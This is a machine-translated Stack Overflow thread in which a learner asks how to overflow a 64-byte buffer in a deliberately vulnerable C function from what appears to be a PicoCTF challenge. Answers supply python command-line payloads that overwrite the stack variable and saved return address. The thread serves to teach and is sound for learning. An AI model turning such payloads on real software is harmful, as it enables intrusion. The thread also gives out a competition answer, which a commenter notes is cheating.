C 将堆栈溢出为变量混乱(计算机安全)
我正在通过我在网上找到的一本书学习计算机安全(这本书对我来说很新,很简单!),其中有一章教你如何溢出堆栈。程序中使用的功能是:C 将堆栈溢出为变量混乱(计算机安全),c,assembly,stack,buffer-overflow,C,Assembly,Stack,Buffer Overflow,我正在通过我在网上找到的一本书学习计算机安全(这本书对我来说很新,很简单!),其中有一章教你如何溢出堆栈。程序中使用的功能是: void vuln(int tmp, char *str) { //attempting to overflow into tmp, setting win accordingly int win = tmp; //overflowing this array! char buf[64]; strcpy(buf, str);
void vuln(int tmp, char *str) {
//attempting to overflow into tmp, setting win accordingly
int win = tmp;
//overflowing this array!
char buf[64];
strcpy(buf, str);
dump_stack((void **) buf, 23, (void **) &tmp);
printf("win = %d\n", win);
if (win == 1) {
printf("You win!\n");
} else {
printf("Sorry, you lose.\n");
}
exit(0);
}
我要做的是溢出buf
并将tmp
的值设置为1,相应地设置win并让我赢
目前,我正在使用一个快速python脚本打印84个字母“a”,直到堆栈填充到我想要设置值的变量。这是我在命令提示符下进行的调用:
./simple_overwrite $(python -c "print 'A'*84)
给出的输出为:
Stack dump:
> 0xffffd614: 0xffffd803 (second argument)
> 0xffffd610: 0x00000000 (first argument)
> 0xffffd60c: 0x41414141 (saved eip)
> 0xffffd608: 0x41414141 (saved ebp)
> 0xffffd604: 0x41414141
> 0xffffd600: 0x41414141
> 0xffffd5fc: 0x41414141
> 0xffffd5f8: 0x41414141
> 0xffffd5f4: 0x41414141
> 0xffffd5f0: 0x41414141
> 0xffffd5ec: 0x41414141
> 0xffffd5e8: 0x41414141
> 0xffffd5e4: 0x41414141
> 0xffffd5e0: 0x41414141
> 0xffffd5dc: 0x41414141
> 0xffffd5d8: 0x41414141
> 0xffffd5d4: 0x41414141
> 0xffffd5d0: 0x41414141
> 0xffffd5cc: 0x41414141
> 0xffffd5c8: 0x41414141
> 0xffffd5c4: 0x41414141
> 0xffffd5c0: 0x41414141
> 0xffffd5bc: 0x41414141 (beginning of buffer)
> win = 1094795585
> Sorry, you lose.
虽然我不太确定在脚本之后输入什么来将地址设置为指向1的值,但我尝试了0x1和1,但都不起作用。非常感谢您的帮助,谢谢
另外,我知道这是一个非常糟糕的练习,但请记住这是关于计算机安全的,我不想在本教程之外使用它。您已将
win
设置为0x4141
。您想将其设置为1
。试着这样做:
./simple_overwrite $(python -c "print 'A'*64 + '\x00\x00\x00\x01'")
或者可能是
'\x01\x00\x00\x00'
,这取决于你的电脑的终端。你太棒了!谢谢你的帮助,如果你不介意的话,我还有一个关于缓冲区溢出的问题。如果我真的想修改这个参数tmp
,我怎么做才能不破坏保存的eip和edp?我知道这是可能的,但我不确定如何将这些保存的值“跳过”到tmp中。我只是在这里猜测,但我会在没有溢出的情况下运行程序(print'A'*4
),并观察转储堆栈显示的值。然后我会再次运行该程序,将观察到的值放入print语句(print'A'*64+'\x00\x00\x00\x00\x01'+'\xc8\x00\x94\x24'
或其他任何内容)。这样,即使您仍在覆盖已保存的EIP和已保存的EBP,也会使用正确的值覆盖它们。请注意,如果启用了,此技术将不起作用。为什么您认为了解此类问题是件坏事?因为知识是危险的?了解漏洞是如何发生的,以及一些漏洞可以被利用的程度有多小,通常会产生一个副作用,即首先要学会避免创建漏洞。我假设您正在参加我帮助举办的PicoCTF竞赛。正如我们在网页上明确指出的那样,这被视为作弊行为:“与其他团队共享密钥或提供过度暴露的提示都是作弊行为,团队以外的人员直接协助也是作弊行为(使用互联网上的工具是可以的;请互联网上的人帮你解决问题不是)。”